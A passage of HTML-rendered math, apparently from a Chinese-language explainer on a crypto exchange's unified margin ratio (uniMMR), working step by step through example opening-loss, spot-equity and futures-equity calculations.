style="height:1em;vertical-align:-0.25em;"></span><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">min</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">))</span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1000</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0.0012</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">min</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">−</span><span class="mord">1</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">0.95</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0.90</span><span class="mclose">))</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1.2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">min</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">−</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0.05</span><span class="mclose">)</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1.2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">min</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">−</span><span class="mord">0.05</span><span class="mclose">)</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1.2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">−</span><span class="mord">0.05</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">0.06</span><span class="mord text"><span class="mord"> BTC</span></span></span></span></span></span></p><p><strong>结果验证：</strong></p><ul><li>用高抵押率资产（BTC 95%）买入低抵押率资产（ADA 90%）</li><li>产生开仓亏损，符合前文机制</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">min</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">...</span><span class="mclose">)</span></span></span></span> 函数确保只记录亏损，不记录收益</li></ul><h3 id="10-3-逐步计算uniMMR">10.3 逐步计算uniMMR</h3><p><strong>步骤1：计算各账户权益</strong></p><p><strong>现货权益：</strong><br>根据文档机制：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0497em;vertical-align:-0.2997em;"></span><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.162em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2997em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>（不应用折算率）</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.6em;vertical-align:-0.55em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∑</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">10</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1.001</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">0.25</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">42</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3.0</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">800</span><span class="mclose">)</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">10</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">010.00</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">10</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">500.00</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">8</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">400.00</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">28</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">910.00</span><span class="mord text"><span class="mord"> USD</span></span></span></span></span></span></p><p><strong>合约权益：</strong><br>根据文档机制：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">res</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">res</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mord mathnormal">n</span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">re</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">ze</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">res</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">res</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.6em;vertical-align:-0.55em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mord mathnormal">n</span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">re</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">ze</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">500</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">200</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">400</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">100</span><span class="mord text"><span class="mord"> USD</span></span></span></span></span></span></p><p><strong>计算说明：</strong></p><ul><li>账户余额：1,500 USDT</li><li>BTCUSDT未实现盈亏：+200 USDT</li><li>ETHUSDT未实现盈亏：+400 USDT</li></ul><p><strong>杠杆权益：</strong><br>根据文档机制：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">co</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">ll</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">er</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">b</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">es</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">m</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal 